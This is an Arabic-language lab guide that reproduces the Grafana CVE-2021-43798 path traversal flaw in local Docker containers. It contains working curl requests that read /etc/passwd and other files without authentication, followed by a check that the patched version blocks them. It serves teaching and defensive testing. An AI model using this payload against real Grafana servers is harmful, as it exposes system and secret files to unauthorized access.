
CVE-2021-43798 Grafana اجتياز المسار بدون مصادقة - مختبر الأمان | Shivam Gupta | 23104003
للاستخدام التعليمي فقط. شغّل هذا المختبر فقط على جهاز محلي معزول. لا تعرّضه للإنترنت أبدًا.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2021-43798 |
| المنتج | Grafana |
| الإصدارات المتأثرة | 8.0.0 – 8.3.0 |
| الإصدار المُرقّع | 8.3.1+ |
| الخطورة | عالية |
| درجة CVSS v3.1 | 7.5 |
| CWE | CWE-22 — اجتياز المسار |
| المصادقة المطلوبة | لا شيء |
| ناقل الهجوم | الشبكة |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
تحقق:
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"
افتح http://127.0.0.1:3000 — تسجيل الدخول: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
المتوقع: إرجاع محتويات الملف مع HTTP 200 — دون الحاجة إلى مصادقة.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
إذا تم إرجاع hostname → قابل للاستغلال. الإصدار 8.0.0–8.3.0 → قابل للاستغلال.
شغّل النسخة المُرقّعة (Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
تحقق من حظر الاستغلال:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down